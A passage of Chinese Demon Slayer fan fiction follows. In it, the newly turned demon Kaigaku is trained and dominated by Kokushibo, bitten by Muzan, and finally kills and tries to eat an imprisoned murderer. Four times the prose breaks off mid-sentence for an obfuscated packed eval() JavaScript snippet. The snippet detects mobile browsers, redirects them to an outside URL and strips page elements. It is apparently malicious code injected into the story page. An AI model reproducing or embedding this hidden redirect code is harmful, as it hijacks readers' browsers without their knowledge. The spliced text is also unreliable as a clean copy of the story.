眼前这只会说话的猫,大约,也是幻觉吧? “……喂,”黑猫把爪子搭在他的膝盖上,“你饿了吗?” 狯岳:“……” 狯岳:“有点。” “那我们去吃点人?” “……” “……” “……怎么说得像去吃点饭一样啊。” “对鬼来说,人就是饭啊。” 的确,他现在胃里空空胸中焦灼,连眼睛都发着绿光—— 什么,他的眼睛本来就是绿的? 那没事了。 “感觉……还能忍。” “哟,厉害。”黑猫挑起眉毛。“明明上一次没有忍。” “什么上一次?” 话音落下,黑猫吃了一惊,在背后摇啊摇的尾巴耷拉在了地上。 接着,它意识到了什么,一下子兴奋起来,那双和他颜色一样的绿眼睛亮得惊人: “有意思——我是说,你没必要忍,你都选择变成鬼了,还没有吃人的觉悟吗?” “……有是有。” 不过,知道自己以后要靠吃人活下去,和立刻动手杀人、吃人,是两码事。 为什么要犹豫? 可能是因为,他的确还不太饿吧。 和全身被拧碎重塑的痛苦比起来,胃里这点渴望实在不值一提。 何况…… 他对这种感觉很熟悉。 作为孤儿,从有记忆开始,饥饿感就如影随形,难得才能饱腹。 为了活下去,什么脏的臭的都可以往嘴里放…… 也不是。 脏的臭的会导致疾病,如果不是实在没办法,他也不会喝泥水解渴。 反正也不会更糟糕了,他只能赌自己能活下去—— 大多数时间,他只是在被迫做这样的赌博而已。 “不愿意吃人也行。”黑猫自顾自地说着,“我可以帮你去找稀血,那样只要喝点血就可以了。不过,万一你被稀血引诱,狂性大发,不小心把稀血吃掉的话,会不会后悔?” 狯岳张了张口:“……我说。” “在!” “你是什么东西?为什么会说话?我们很熟吗?” 黑猫挺起胸膛:“这不重要。重要的是,我会站在你这一边。” “……” “喂,你这眼神是什么意思,瞧不起我吗?!” “……还是先告诉我你的名字再说吧。” 于是狯岳知道了,这只猫的名字叫琉璃,来历是秘密目的是秘密,问就是喵喵喵,喵喵喵喵喵。 ——这不相当于什么都不知道吗喂! 就在他忍不住抓着黑猫的脸蹂躏的时候,耳边传来清脆一声: “铮——” 下一瞬,湿冷的地面消失,他毫无防备地掉了下去。 从高处跌落的失重感只维持了一瞬,不等恐慌泛起,他重重摔在了地上。 黑猫踩着他的胸口,“嗖”得一下,消失在了视野范围内。 狯岳:^=_=^。 狯岳:不是说好了,要站在他这一边的吗?! 就这么跑了是几个意思! 黑猫:大难临头各自飞的意思,谢谢。 “……嚯。” 低沉的声音在耳边响起。 不需要看见,狯岳的身体已然有了感应,本能地抖个不停。 有什么可怕的东西,出现了。 正是,上弦一,黑死牟。 “你……尚未转化完全,却仍保有理智。”六眼的恶鬼走到他身边,跪坐下来。“这份意志,不错。” 狯岳:“……” 狯岳:“…………” 这是值得称赞的事情吗? 他迷惑地开口:“承、承蒙夸奖?” 然后就陷入了尴尬的沉默当中。 黑死牟不挑起话题,狯岳也没什么话好说,只默默忍受着蜕变的痛苦。 但一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244018|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片寂静之中,他粗重的呼吸声显得无比刺耳,更不论偶尔忍不住的闷哼了。 ——黑死牟大约不会喜欢这种声音吧。 这么想着的狯岳,没考虑多久,就把手臂挪到嘴边,愤恨地咬了下去。 都怪黑死牟。 如果不是他,他现在已经巡逻完毕,躺在床上休息才对。 如果不是他,他不必屈辱地跪在地上,直面……自己的弱小,和卑鄙。 可恶,可恶! 既然这混蛋没有杀了他,就还有机会。他要变强,总有一天,他一定会把这家伙踩在脚下! 不,不止是他,还有那该死的鬼王—— “……胡思乱想。” 黑死牟打断了他的想法。 “有野心……可以。”他说,“对无惨大人不敬,不行。” 下一刻,狯岳的感觉自己的脑子被外力搅动,记忆被翻捡。 柱训练时的如履薄冰,同期们的窃窃私语,鼻青脸肿的我妻善逸;带来任务的鎹鸦,带来信件的麻雀,重伤躺在蝶屋的自己;弥漫桃香的青山,阴鸷森冷的夜晚,粗糙坚硬的勾玉,似有似乎的叹息。 想要忘记的、想要记住的,全部搅和在一起,让他恶心地想吐。 “初来乍到,可以原谅。”黑死牟把手放在他的发顶。“但不许……有下一次。” ——不然,会死。 这一次,黑死牟的声音,直接在他的脑海中响起。 狯岳震惊地睁大眼睛。 原来如此,竟是这样! 怪不得,这么多年来,鬼明明由人类转化,却像变成了别的生物一样——没有理智的垃圾鬼就算了,连有理智的鬼都一副无法沟通交流的模样,就算能交流也往往是欺骗或者陷阱。 鬼……只能是鬼。 不存在族群,不存在同伴,只是鬼舞辻无惨心血来潮创造出来的工具而已。 虽然想过变鬼可能不是什么好选择,但这种程度也太糟糕了一点。 他下意识收紧牙关,那点疼痛和全身上下的痛苦比起来,实在微不足道。 于是他愈发用力。 却没料到,自己已经长出了尖利的鬼牙,硬生生把手臂上的那块肉…… 给咬了下来。 他愣了一下,看着手臂上的创口长出恶心的肉芽。 仿佛内心也发了芽,似乎有什么东西,自灵魂深处开裂、朽坏。 为什么,为什么……偏偏是他,遇见了鬼?! “狯岳。”黑死牟再次警告。“静心。” 狯岳打了个激灵,条件反射般应声:“是!” ——不,不能这么想。 他冷静地说服自己。 ——起码自己已经活下来了。 和生命比起来,自由也不算什么。反正……人生来就不自由,也不需要那么多自由。 他不想自由地去死,这就够了。 ……这就,够了。 但黑死牟像摸小动物一样,手指略过他的鬓发,触到他的脸颊,擦过他的眼尾。 有眼泪……沾在了上面。 38.第三十八章 黑死牟冷不丁地问: “委屈?” 狯岳:“……” 狯岳:“…………” 他怎么敢啊! 变成鬼是,是黑死牟大人的仁慈,是……鬼舞辻无惨的恩赐,他他他,他应该感恩戴德,才不会那么不知好歹! 狯岳立刻低头:“对、对不起!” 仓促间,语气还略微变调,听起来凶巴巴地,生怕被黑死牟看轻。 “我——这只是生理反应!”他勉强自己从地上爬起来,向着黑死牟跪伏下去,额头触及地面。“等转化完就好了……” 不能露怯。不能犹豫。他必须展现出自己的价值才行。 “我一定会变得更强,不辜负那位大人的恩赐……” 所以,请不要对他失望,不要轻易抛弃他,不要随随便便宰了他。 黑死牟:…… 黑死牟:他看上去像是那种情绪不稳定、随便杀人的鬼吗? 他又不像无惨大人那么任性(鬼舞辻无惨:喂)。 “无妨。”他出声安抚新生的小鬼。“安心……转化。” 狯岳:无法安心。 这么大一个黑死牟杵在这里,实在很影响心情好么! 他只能强迫自己把注意力放到四肢百骸,以免自己胡思乱想,吵到黑死牟,吵到鬼舞辻无惨,吵掉自己这条好不容易才保下来的小命。 黑死牟:…… 黑死牟:倒也不必,如此拘谨。 他们又不是闲得没事干,整天关心一个小鬼的脑袋瓜里在想什么。 但狯岳才刚转化成鬼,小心一点敬畏一点,对他没坏处。 而鬼舞辻无惨,的确对狯岳有几分兴趣。 几百年了,黑死牟对引荐新人这事儿,一直不怎么上心。 万万没想到,这世上还有他愿意拉拢的人。 “前鬼杀队队士?我已经有了最好的,这个无所谓。” 这位鬼王竟主动前来拜访,挑剔地上下打量着新生的小鬼,出于对黑死牟的尊重,没有翻找他的记忆。 ‘“只不过,黑死牟,这是你第一次向我引荐新人吧?” 黑死牟:“不是。” 鬼舞辻无惨用大拇指倒着指着一脸紧张的狯岳:“那这是什么,你养的宠物?” 黑死牟:“亦非。” 鬼舞辻无惨:“……” 鬼舞辻无惨:“说鬼话。” “还没有,引荐。”黑死牟用平静的语气表达出了嫌弃的态度:“没打算……带他面见您,这孩子现在……实在形容狼狈,不成体统。” 这时候的狯岳,才刚转化完毕,脸色潮红,头发黏连打绺,明明身在鬼的大本营,还一身皱巴巴脏兮兮的鬼杀队制服。 确实狼狈不堪。 鬼舞辻无惨挑眉:“那我走,等他准备好了,再见一次?” 黑死牟颔首。 下一刻,风声乍起。 鬼舞辻无惨的手忽然涨大,化身肿瘤堆积的长虫,张开黏连的巨口,猛地咬向狯岳! 狯岳本能地摸向腰间,但落了空,他的日轮刀不在身边;于是,他只能眼睁睁看着自己落入险境,无可躲避。 这一瞬,他的震惊多过恐惧,简直难以置信—— 就这么莫名其妙地死掉,也太荒谬了吧?! 鬼王居然是一言不合就动手的货色? 然而…… 这诡异的长虫,居然停止了行动,堪堪停在他面前,没有真的咬下去。 “再见就不必了。”鬼舞辻无惨满意地看着一动不动,任由他咬向狯岳的黑死牟。“既然是你看中的人,我就再分给他一点血吧。但他能否承受得住,就是另外一回事情了。” 话音落下,长虫的巨口还是咬了下来,一下子咬掉了狯岳的半边脑袋。 然后,鬼舞辻无惨的血,被大量注射进来。 这,就是鬼舞辻无惨给黑死牟的见面礼。 狯岳:^=_=^。 ……总觉得,是被迁怒了。 只能无可奈何地,又一次在高热和痉挛中倒下。 细胞不断增值又不断消灭,在创面上形成巨大的肿瘤,与周围正常细胞开始拉锯。 于是狯岳开始频繁地吐血,再生的速度也越来越慢。 而造成这一切的人,和位高权重的人坐在一起,谈笑风生,文质彬彬、习以为常地看着小鬼在地上挣扎、惨叫,直到小鬼力气用尽、声嘶力竭,结果一目了然为止。 他想活下来,他能活下来,他会活下来。 鬼舞辻无惨冷哼一声,径直离开;黑死牟……黑死牟叹了一口气。 此刻的狯岳,奄奄一息,脆弱不堪。 只有眼睛,那双不肯放弃、满怀不甘、亮晶晶绿幽幽的眼睛,令人印象深刻。 “鸣女。” 又是,乐器的声音。 狯岳勉强分辨出来。 然后是……“哗啦”一下,到处都是温热的水。 黑死牟,嫌弃他脏,让鬼把他扔温泉里了呢。 不会游泳的他沉入水底,呛了好几口硫磺味的水之后,才挣扎着浮起,趴在岸边,勉强获得了一丝安宁。 睁眼闭眼间,黑猫出现了。 “……呃,”它用微妙的眼神看着他,“你的脑门上怎么有那么大的牙印?” 鬼舞辻无惨咬的。 因为是鬼王留下的伤口,恢复得还相当慢,说不定那家伙口水有毒,嗯嗯,一定是这样。 但狯岳没有回答,只懒洋洋地看着黑猫:“你来干嘛?” “看你死了没。” “那你看到了,还没死。” “做的好。” “……这跟我做了什么没有关系。” 只和鬼舞辻无惨和黑死牟的心情有关系。 “说起来……你也没死。” “废话。” “鬼不杀你吗?” “我又不在鬼的食谱上。” “鬼会杀你吗?” “这就要看他们的无聊程度了。” 一般鬼不会对小动物出手,当然,不管是人是鬼,总有神经病没事找事就是了。 黑猫钻到狯岳的胳膊下面,玩他脖子上的勾玉。一会儿用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250023|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻子嗅嗅,一会儿用爪子拨拨,得出结论: “有桃子的味道。” 狯岳:“……” 狯岳:“不会吧。” “有善逸的味道。” 狯岳:哈啊?! “怎么可能,你在说什么东西——不是,你居然知道我妻善逸!”他难以置信,“你该不会和那个废物有关系吧?!” 黑猫后退几步,摇了摇尾巴:“安啦,我是不会突然变身成善逸那个笨蛋的。” “……” “……” “也是,你看起来比那家伙聪明。” “在你心目中,他到底是个怎样的人?” “……就是个吊儿郎当的废物。” “真的?这是你不带任何偏见的评价吗?” “当然。” 狯岳是真的真的,打心底里瞧不起我妻善逸。 哪怕剔除感情,从理性上看,他也觉得我妻善逸不堪大用,完全不明白老师为什么那么看中他。 要知道,在他离开桃山、参加最终选拔的时候,我妻善逸连一之型用的都不怎么利索。 柱训练的时候,倒是听说他和炎柱、音柱一起讨伐过下弦鬼、上弦鬼,但他不相信那家伙会有什么长进,大约就是运气好,有朋友和柱帮衬才活下来的吧。 理论上来说,我妻善逸这样的废物应该死在最终选拔里、死在后续分配的任务中,总之要早早去死,才合乎常理。 但他偏偏没有死去,运气好得出奇。 “为什么要谈论他?”狯岳皱起眉头,“那种家伙,有什么好关注的。” “因为,雷之呼吸只剩他了,不是吗?”黑猫歪了歪头。“变成鬼的是你,不是他。” 话音落下,狯岳的呼吸停滞了一瞬。 也只有一瞬而已。 “那又怎样。”他冷冷道,“那种废物……不管是人是鬼,都指望不上。” “你会杀了他吗?” 没等狯岳回答,黑猫又自顾自地继续: “那种废物,不管杀不杀,就那样吧,不重要,无所谓。只不过,那家伙死掉的话,老师会伤心难过吧……” “别说了。” “怎么办呢,忽然变成了鬼,黑死牟姑且不论,鬼王还是个喜怒无常的家伙,怎么看都觉得前途无亮吔……” “别说了!” 这破猫,真的是站在他这一边的吗喂! “更重要的是,”黑猫眯起眼睛,“你肚子饿了吗?” 饿啊。 饿到胃里像是烧起了一把火,不断向上蔓延,连心都被点燃,一下子烧个精光。 饥饿是人最原始的感官,生存的第一要务就是填保肚子,不管是人也好、鬼也好,都被这本能束缚。 “饿了,就去吃点人吧。” 狯岳向黑猫伸出手,想让它闭嘴。 然而,它灵活地避开他的手,跳上了温泉岸边的大石头,居高临下地看着他: “堕落的时候,还是堕落得彻底一点比较好哦。” 说完,尾巴一甩。 又一次消失不见。 39.第三十九章 堕落。 下坠连着下坠,沉沦接着沉沦。 “……才不是。” 狯岳喃喃道。 松开手,任由水波把自己从岸边带走。凭住呼吸,于是身体像枯木一样慢慢触到池底。 皮肤感到温暖,头脑昏昏沉沉,心脏的鼓动愈发清晰。 一但闭上眼,就有种分不清上下左右的感觉。 “才不是……向下。” 在温泉里本不该睁开眼睛,但他已经变成了鬼,所以没有关系。 忍受着微不足道却频率密集的刺痛,他睁开眼,看着这个渡上了一层水色滤镜的世界。 像假的一样。 他想。 好的坏的甜的苦的可爱的可怕的,一切的一切,只是隔着水波,兀自矗立,兀自倒塌。 对于水生物来说,岸上的世界大抵就是这样虚假,只有水中的一切才是真实。 同理,对于鬼来说,为人的价值判断也不值一提。黑暗才是光明,毁灭才是新生,杀戮才是救赎,堕落才是向上。 “我没错……是正在向上才对!” 他在水底露出微笑,重新飘向水面。水面犹如镜面,照见另一个朦朦胧胧的自己。 额头相触的瞬间,水面破碎,熟悉的脸被切割成杂乱的色块。 祼露在空气中的肢体变得沉重,有形的世界中,仿佛有无形的东西从四面八方压过来。 他甩了甩头发,水珠洒落后,人又变得轻松起来。 换上青蓝色的和服,双手伸出,拍了拍微凉的脸。 走进房间,面对六眼的上司,他打起精神,语气昂扬: “让您久等了!” 端坐在桌案前的黑死牟,六只眼睛同时看了过来,打量得狯岳心神不宁,微微发抖。 “头发。” “……什、什么?” “要擦干。” 狯岳:“……” 狯岳:“…………” 狯岳:“是。” 真是个龟毛、不是,细心的鬼。 他倒回去擦干头发又回来,小心翼翼地觑着黑死牟,生怕他知道自己刚才想了什么。 好在黑死牟一副什么都不知道、或者不在乎的样子,任由他腹诽。 ……应该。 “坐正。” “……是。” 狯岳抬起头,拼命压下那些不敬的想法,然后黑死牟就站了起来,走到他身边,用刀鞘敲他的腰: “绷紧。” 狯岳:“……” 狯岳:“是。” 他顺着力道把腰向前推,同时不忘收腹吸气,然后黑死牟又一刀鞘砸中他的肩膀: “放下。” 狯岳第一次知道坐姿也有那么多讲究,肩不能耸,背不是光直起来就够,膝盖可以分开但不能分太开,脚踝到脚尖要贴着地面,手臂必须自然垂落在腿上,姿态必须显得又轻松又稳重…… 什么鬼啊! 但当黑死牟让他牢牢记住,不许一丝一毫懈怠的时候,他也只能憋屈地咬着牙应是。 剑术训练也差不多。 这里有问题,那里理解不对。从发力方式到应对策略,都被言简意赅的话语指出漏洞,搞得好像他迄今为止的剑术都白学了一样。 但能让他变强的剑术训练,和不知所谓的礼仪训练,能一样吗?! 在被黑死牟毫不客气地砍得七零八落之后,重新把上弦一的可怕刻入脑海的狯岳: 大约,或许,是能一样的。 黑死牟比他强,所以他说得都对。 “……尚可。” 对练,不,单方面地教训暂告段落,黑死牟露出一个微不可查的微笑,收刀入鞘。 “你的雷之呼吸……用得很熟练,但,过于熟练,缺乏变化。” 抱着腿往断口上拼的狯岳:…… 合着剑型完成度太高,也是错。 却不是不能理解,因为老师也说过类似的事情。 剑型不是一成不变的,最适合自己的剑型往往需要自己来创造。如果天赋够高,连呼吸法都能自创。 比如音柱,就是因为学不了雷之呼吸,搞了个什么音之呼吸,奇奇怪怪。 “而且……你的刀,不行。” 闻言,狯岳侧过脑袋,看着一旁的日轮刀。 本该一片金黄的刀身,被黑色的雷纹劈开,证明他不过是个不会一之型的瑕疵品而已。 虽然据我妻善逸写的信上说,这废物的刀颜色和他正相反,一片漆黑的刀身被金色的雷纹劈开,搞得他们两个的刀像一对似的,令人恶心…… 可这是他的刀。 恶心的是我妻善逸,不是这把刀。 这把刀才不是不行,只不过因为经历过的战斗太激烈,到了该送去刀匠村保养的地步而已。 呃,他都变成了鬼,这把刀也不可能再得到刀匠村的保养了。 怎么办? 普通的刀匠,是修不好日轮刀的吧? 也不对,日轮刀只有材质特殊而已,如果抢走其他人的日轮刀,说不定可以拿他们的刀来补…… 就在他胡思乱想的时候,黑死牟轻描淡写地挥了挥手。 月华倾泻,流过他眼前,流过地上的日轮刀。 刀其实并不是什么坚韧的东西,若在受力时不能通过剑技来卸力,就会因为局部应力高度集中而断裂。 所以,会被黑死牟轻易斩断—— 也是理所当然的事情。 “……唉?” 狯岳的脑袋空白了一瞬,看着那把刀无可奈何地碎成了好几片,其中一片碎片弹起老高,划破了他的脸。 “外物……终有极限。”黑死牟静静地看着他,“不必依赖,那种程度的,死物。我会教你,血肉化刀。” 血肉化刀,陌生的名词,听起来很厉害。 是黑死牟主动提出来的东西,一定很好很强大。 “啊……是!” 狯岳恍惚着点头,伸手去捡日轮刀的碎片,被锋利犹存的碎片划破了手掌。 于是下一刻,他连手掌也被切断。 黑死牟冷冷地问: “你在,留恋什么?” 是啊,他在留恋什么? 上弦一要教他血肉化刀吔。 “对不起!”狯岳明显感觉到黑死牟的不悦,立刻跪伏下去,额头触及地面,“只是不良习惯而已,我会改正!” 断掌恢复的速度很快,但有几块碎片落在他膝盖下方;带着太阳力量的碎片硬生生硌在那里,割得他心如刀绞。 ……不不不,只是一把钝了的、没用了的刀而已。 没用的东西就该丢掉——可为什么非得斩碎不可——黑死牟大人有自己的深意——废物就是废物,以什么形态丢掉不重要——所以不碎也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264628|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没关系——所以碎掉也没关系——只要不是他碎掉就行—— 这一次,六眼的恶鬼没有说出安抚的话,只任由他跪在那里,战战兢兢。 “那种……一触即碎的东西,不过是,人类聊以自慰的,玩具。” 狯岳微微抬起头,瞟着黑死牟的鞋子越来越近,接着,袴脚覆盖鞋面,下巴被一只修长有力的手抬起。 这位大人的身高比他高了二十多公分,手掌也相当大,比他的脸大得多。 尤其当他另一只手轻轻抚摸他的脸颊的时候,他有一种,自己的脑袋,能被轻易拧下来的感觉。 而且,绝对不是错觉。 “你是鬼,”黑死牟的六只眼睛专注地盯着他。“你……要用的刀,不是日轮刀,而是自己的血肉。只有自己,才不会背叛自己。” 弱者才用日轮刀,鬼杀队必须借助日轮刀,才能给鬼造成伤害,所以日轮刀是他们的宝贝。 鬼杀人就不必考虑那么多了。 反正人类那么脆弱,稍微受点伤就会死。 “把自己……做成一把刀。”黑死牟拂开粘在他脸颊上的发丝。“磨掉过去,才能脱胎换骨。明白了吗?” 狯岳瞳孔震动,因为巨大的压迫感而浑身战栗,声音也随之颤抖:“要、要,磨、磨掉过去……” “对。” 黑死牟的脸贴得很近,他能感受到他那悠长而有力的呼吸。 压迫感并未减少,他知道这位大人正在表态,并逼迫他同样做出表态。 “那些东西……不能让你变强,不过是,无用的枷锁而已。” 既然是枷锁,就要砸烂、丢弃。 “我,选择了你……你,是我的战利品。”黑死牟直接挑明。“你的一切,血肉,骨骼,生命,忠诚…… “都是我的东西。 “直到……你能战胜我为止。” 这就是鬼。 这才是鬼。 即是恪守礼仪的老顽固,也是不容抗拒的反派角色。 他要怎么办? 他能怎么办? “我……我明白了。” 狯岳哆嗦着咬紧下唇,然后松开,扯起一个讨好的笑容,脸上泛起不自然的红晕。 黑死牟居然认为他有战胜他的可能? ——或许吧。 “这、这是我的荣幸,我一定会拼命努力!回报您的认可和期待!” 强者不分种族,鬼的认可也是认可,鬼的期待也是期待。 他还活着,还可以变强,他的人生、不、鬼生,还有新的可能。 只要还活着,就不算输,还有赢的概率。做人要努力成为柱,做鬼要努力当上上弦,这样一来,他的生命也不算白白浪费。 ——现在这样就行了。 他是黑死牟唯一转化的鬼,他是属于黑死牟的东西。 至少现在,此刻,他是独一无二的。 不用跟别人分享,不用向别人妥协。不用惴惴不安地面对这个令人作呕地世界。 ——现在这样就够了。 心情渐渐平复下来的他,有一种奇异的踏实感。既然无法反抗,不如苦中作乐,反正也没有别的选择。 毕竟,已经做好了觉悟,不是吗? 他要继续堕落。 他要继续向上。 于是黑死牟满意地摸了摸他的头: “好孩子。” 40.第四十章 ……然后血肉化刀依旧是日轮刀的颜色和形状。 不知为何,狯岳对血肉化刀有股异样的熟悉感,学起来超级快,或许又是“既视感”这种东西在作祟吧。 简而言之,他天赋异禀。 黑死牟对此表示满意,就是刀的样式,让他有股自己做了无用功的不满。 狯岳:→_→。 黑死牟:^=_=^。 一模一样的刀身,一模一样的刀纹,甚至连刀柄绳结都别无二致。 “对、对不起!”狯岳眼神发虚,左看右看,就是不敢看黑死牟:“我最熟悉的刀就是日轮刀,所以……所以……” 给不出任何借口,本能让他选择了这样的外表——他发誓自己在拔刀的时候有想过要和黑死牟一样,让刀长出眼睛。 但长不出就是长不出,他没这个能力好吧。 黑死牟:“刀纹能换吗?” 狯岳:“我、我试试。” 黑色的雷纹被去掉,刀身变成了纯金。 然后一不留神,又恢复了原状。 毕竟是他自己的血肉所造,反映的是他的本质。即使主观想在上面雕点花,也得看他的潜意识答不答应。 “……也行。”黑死牟退了一步。“能用,就好。” 毕竟,狯岳能这么快就学会血肉化刀,还算有点本事。 仍在留恋鬼杀队也没关系,反正鬼杀队马上要来杀他了,杀意会把怀念磨平。 人性散去,鬼性凝聚,他迟早变得和其他同事一样。 伟大宽容的黑死牟,愿意多给好孩子一点时间。 而好孩子的下一课,是吃人。 还蛮不可思议的,狯岳居然到现在都没有吃人,也没有失去理智。 换成一般的鬼,早就沦为只会流口水的野兽,更别说学习、训练了。 虽然对狯岳能忍到什么时间有点兴趣,但鬼舞辻无惨对目前的进度不太满意—— 他都忍痛(不是)放了这么多血,这小鬼居然还敢留有余地? 怕不是以为他堂堂一代鬼王,居然有心情做慈善! “我管他吃不吃人,不吃人饿死拉倒。”鬼舞辻无惨在黑死牟的脑袋里讨价还价,“就算是你的人,也起码得杀点人表表衷心吧!” 黑死牟:“……” 黑死牟:“不是,不打算,打草惊蛇吗?” “我不管!”鬼舞辻无惨蛮横地说,“不打上鬼杀队不就行了?到码头整点小点心不难吧?反正得让他和一般鬼一样,不然我不放心。” 难道不是还没找到祢豆子,心情不爽,所以随便逮个鬼来发泄吗? 不过,黑死牟没把这话说出口,只应声道:“遵命。” 他不觉得让狯岳杀个人、吃个人,亲手斩断自己的退路,有什么大不了的。 这孩子还太年轻,有一些这样那样的顾虑,有一点天真有一点傻,表面顺从,潜意识却在反抗,像一只野性难驯的猫。 这好吗? 这不好。 他要的是一把刀,一把为他量身定做的刀。 可这把已经成形的刀,要怎样锻造,才能合他的心意? 当然得把炉子烧旺,加热到材质软化,再反复捶打,彻底改变其形态为止。 “不必……忍耐饥饿。”黑死牟转头吩咐狯岳,“想变强,就要吃人。” 他没说这是鬼舞辻无惨的命令,只单纯下达指示。 鬼是为了饱腹吃人、还是为了变强吃人,对比起来,还是后者符合他的价值观。 狯岳张了张口,欲言又止,止言又欲:“……多谢您的关心。” 老实说,他自己也没想到,自己居然这么能忍。 胃里那种焦灼感始终都在,却始终没有吞没他的理智,让他变成被本能驱使,只会流着口水袭击人的怪物。 莫非,他真的是特别的? 只不过,在这种地方特别,实在令人有种啼笑皆非的感觉。 上天总不至于寄望于他不吃人,当个一心向善的鬼吧? 那怎么不再加把劲,让他不被鬼舞辻无惨控制呢? 现在这样,不上不下,模棱两可,着实令人厌烦。 ……却也是他注定不自由的鬼生中,难得可以尝试一下的,自由意志的体现。 什么想法都能读到,但大部分时候懒得管的黑死牟: 什么自由意志? 小鬼不需要这种自由意志。 狯岳的自由意志只需要体现在,选择用什么样的方式满足他的期待上,就足够了。 比如那把和以前使用的日轮刀一模一样的血肉化刀,既然小鬼已经以超出预料的速度完成了任务,怎么完成的他就不管。 他最好拼命完成他的期待。 不然,让恶鬼失望的代价,可是很重的。 “铮——” 琴弦一声。 狯岳被抛出了无限城,落在一片陌生的城镇当中。 现在的他终于知道,那是琵琶的声音,由上弦四,鸣女创造,缭绕、影响着整个鬼域。 “想回来的时候,就捏碎这个眼球。”女性柔和的声音在脑海中响起。“慢走。” 狯岳在脑海中道谢,等了一会儿,没有收到任何回音。 他踌躇了一下,随便选了个方向,走了出去。 夜晚的街道几乎无人行走,零星各处偶有紫藤花香的味道飘来,让他生理性地反胃。 但不会给他造成任何妨碍,如果他想,完全可以顶着这股香味入内杀人。 ……但是,没有必要。 牢狱可不会给犯人准备这种香薰。 可是,犯人身上那股浓郁的臭味又让他犯了难。 “……这位大人,感谢您的救助。”臭气熏天的杀人犯惊疑地看着把他从监狱里拎出来的狯岳,“可是这种天气,您让我在河边洗澡……这也……” 太奇怪了吧?! 他不理解狯岳的指示,想问清楚狯岳的意图,然后就被不耐烦的狯岳一脚踢进河里。 杀人犯:您武力高强,您说了算。 敷衍地洗刷一阵后,他试图从河里出来,但狯岳用刀鞘顶着他的身体: “泡。” 没办法,杀人犯只好骂骂咧咧地回到深水区,浸没其中,直到实在冷得受不了: “大、大人,再泡,我,我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269680|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我会死的!” 狯岳“啧”了一声,这才放他一马,手腕一抖—— 一刀砍掉了他的头。 与其说是砍,不如说是切,断面异常干净利落,平滑工整。 因此,杀人犯带着快被冻死的表情,身首分离。 雷之呼吸的速度很快,所以,直到最后,这家伙都没有意识到发生了什么,大好头颅稀里糊涂地滚落水中。 狯岳没捞。 他只捞起杀人犯的身体,拖到岸边,任由腥臭的血液白白撒进河里。 死人的身体失去血色,又黄又皱又涨,或许是泡多了水的缘故。 狯岳用刀割下一块尸体手臂上的肉,放到嘴边,却在月光映照下,看到皮肤上狰狞的刺青。 ……好恶心。 他本能地把肉丢开,呼吸变得急促,喘息了好一阵,才缓过来。 接着,挑了块没刺青的部位,在水里涮了涮,试图放进嘴里。 却又瞥见了几根长长的汗毛。 ……更恶心了! 总忍不住顺着肉块回忆整具尸体的肮脏模样,或许是皮肤太容易引起联想的缘故。 狯岳摸了摸下巴,再切下一块肉,用尖锐的指甲揭开皮肤。 呃,透明的水是组织间隙液,白的黄的是脂肪,里面还有神经,还有肌肉和骨骼…… 等等,脑海里闪现的解剖图是什么鬼? 以及,他是什么时候知道的那些名词? 恍惚间,一个熟悉又陌生的声音继续闪现: “……你也不是真的觉得,当人和当鬼,没什么区别。” ——废话! 那一瞬的灵感突现又消失,他完全抓不住,只茫然地想: 是谁? 听起来,像是蝶屋主人的声音,但他基本上没和她说过话才对…… “你倒是咬啊。” 黑猫蹲在岸边,恨铁不成钢地看着他。 狯岳:“……” 狯岳:“你也出来了?” “啊……嗯……鸣女,她还蛮好说话的。”黑猫含含糊糊遮遮掩掩。“总之,你咬下去,就会发现……” “发现什么?” “味道又腥又酸又柴。” “……” “毕竟人长这样,不是为了被吃掉。”黑猫眯起眼睛。“就像我们猫一样。” “你吃过?” “尝过一点。” “那你还劝我吃。” “因为你会发现,自己将喜欢上那种味道——你的身体会说服你,那样其实很好吃。” “……” “人也好,鬼也好,适应性都很强的。为了活下去,什么都做得到。” “……” “如果你想要变强的话,还是不要矜持比较好哦。” 于是,狯岳试探性地咬了一下。 并没有尝到什么味道,大脑把那段记忆删除了,只剩下一片空白。 